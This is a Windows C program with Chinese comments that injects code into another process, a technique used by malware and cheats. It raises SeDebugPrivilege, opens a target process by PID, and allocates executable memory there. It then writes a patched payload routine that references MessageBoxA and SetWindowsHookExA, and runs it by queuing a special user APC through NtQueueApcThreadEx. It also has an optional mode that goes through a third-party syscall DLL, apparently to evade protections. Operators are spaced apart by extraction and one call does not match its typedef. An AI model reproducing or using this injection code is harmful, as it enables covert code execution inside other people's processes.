插入代码 ``` / * * 函数原型: NTSTATUS NtQueueTHreadApcEx( _in HANDLE thread, _in UCHAR flags, 0 :常规用户APC, 1 :特殊用户APC _in PAPCFUNC apcRoutine, _in PVOID context1, _in PVOID arg1, _in PVOID arg2 ); 需要从Ntdll.dll模块显式导出(GetProcAddress) * / #define _CRT_SECURE_NO_WARNINGS #include<stdio.h> #include<Windows.h> #include<Tlhelp32.h> #include"fun.h" HWND hwndG = 0 ; BOOL CALLBACK EnumWindowsProc( HWND hwnd, LPARAM lParam) { WCHAR path[MAX_PATH] = { 0 }; WCHAR * text = (WCHAR * )lParam; GetWindowText(hwnd, path, MAX_PATH); if (lstrcmpW(text, path) = = 0 ) { hwndG = hwnd; return FALSE; } else { hwndG = 0 ; return TRUE; } } DWORD WINAPI GetThreadIdByProcessId(DWORD dwProcessId) { THREADENTRY32 th32; th32.dwSize = sizeof(THREADENTRY32); DWORD dwThreadId = 0 ; HANDLE hdTool = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, dwProcessId); if (Thread32First(hdTool, &th32)) { do { if (th32.th32OwnerProcessID = = dwProcessId) { dwThreadId = th32.th32ThreadID; / / printf( "%d\n" , dwThreadId); break ; } } while (Thread32Next(hdTool, &th32)); } else { DWORD dwErro = GetLastError(); / / printf( "遍历进程失败!——%d" , dwErro); return dwErro; } return dwThreadId; } BOOL WINAPI PrivilegeAdjust() { BOOL flag; HANDLE token; if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &token)) { / / printf( "打开令牌失败!\n" ); flag = FALSE; } LUID pid; if (!LookupPrivilegeValueA(NULL, "SeDebugPrivilege" , &pid)) { / / printf( "查看特权ID失败\n" ); flag = FALSE; } TOKEN_PRIVILEGES tp; tp.PrivilegeCount = 1 ; tp.Privileges[ 0 ].Luid = pid; tp.Privileges[ 0 ].Attributes = SE_PRIVILEGE_ENABLED; if (!AdjustTokenPrivileges(token, FALSE, &tp, sizeof(TOKEN_PRIVILEGES), NULL, NULL)) { / / printf( "提升特权失败!\n" ); flag = FALSE; } return TRUE; } typedef BOOL ( * MYTYPE)(HANDLE, LPVOID, LPVOID, SIZE_T, SIZE_T * ); typedef HANDLE( * OPPS)(DWORD, BOOL , DWORD); typedef BOOL ( * WRMEMEX)(HANDLE, LPVOID, LPVOID, SIZE_T, SIZE_T * ); typedef HANDLE( * OPTS)(); typedef ULONG64( * GETPEB)(DWORD); typedef NTSTATUS( * NTQUEAPC)(HANDLE, UCHAR, PVOID, PVOID, PVOID, PVOID); WRMEMEX Read; WRMEMEX Write; OPPS OpenPro; OPTS OpenThr; NTQUEAPC NtQueueUserApcEx; VOID InitFrmak() { printf( "内核\n" ); NtQueueUserApcEx = NULL; HMODULE mod = LoadLibraryA( "ApiSystemCall.dll" ); Read = (WRMEMEX)GetProcAddress(mod, "YhReadProcessMemory" ); Write = (WRMEMEX)GetProcAddress(mod, "YhWriteProcessMemory" ); OpenPro = (OPPS)GetProcAddress(mod, "YhOpenProcess" ); OpenThr = (OPTS)GetProcAddress(mod, "YhOpenThread" ); NtQueueUserApcEx = (NTQUEAPC)GetProcAddress(GetModuleHandleA( "ntdll.dll" ), "NtQueueApcThreadEx" ); if (NtQueueUserApcEx = = NULL) { MessageBoxA(NULL, "获取函数失败" , 0 , 0 ); } } VOID InitFrmakEx() { NtQueueUserApcEx = NULL; printf( "普通\n" ); Read = ReadProcessMemory; Write = WriteProcessMemory; OpenPro = OpenProcess; OpenThr = OpenThread; NtQueueUserApcEx = (NTQUEAPC)GetProcAddress(GetModuleHandleA( "ntdll.dll" ), "NtQueueApcThreadEx" ); if (NtQueueUserApcEx = = NULL) { MessageBoxA(NULL, "获取函数失败" , 0 , 0 ); } } typedef VOID( * FUN)(); int main() { DWORD pid; SIZE_T size = 0 ; CONTEXT text; VirtualProtect(fun, 0x60 , PAGE_EXECUTE_READWRITE, &pid); * (ULONG64 * )(&(((UCHAR * )fun2)[ 0x34 ])) = MessageBoxA; * (ULONG64 * )(&(((UCHAR * )fun2)[ 0x9f ])) = SetWindowsHookExA; / / fun(NULL,NULL,NULL); printf( "请输入模式:\n1.普通模式\n2.内核模式\n" ); scanf( "%d" , &size); (size = = 1 )? InitFrmakEx(): InitFrmak(); printf( "请输入进程PID:\n" ); scanf( "%d" , &pid); PrivilegeAdjust(); HANDLE hd = OpenPro(PROCESS_ALL_ACCESS, FALSE, pid); PVOID mem = VirtualAllocEx(hd, NULL, 0X1000 , MEM_COMMIT, PAGE_EXECUTE_READWRITE); DWORD tid = GetThreadIdByProcessId(pid); HANDLE td; if (size = = 1 ) { td = OpenThr(THREAD_ALL_ACCESS,FALSE,tid); } else { td = OpenThr(tid, hd, THREAD_ALL_ACCESS, FALSE); } if (!Write(hd, mem, fun2, 0x100 , &size)) { MessageBoxA( 0 , "写入失败" , 0 , 0 ); } SuspendThread(td); NTSTATUS code = NtQueueUserApcEx(td, 1 , (PVOID)(((ULONG64)mem) + 0x53 ), tid, 0 , 0 ); if (code! = 0 ) { printf( "%x\n" , code); MessageBox( 0 , 0 , 0 , 0 ); } ResumeThread(td); system( "pause" ); return 0 ; } |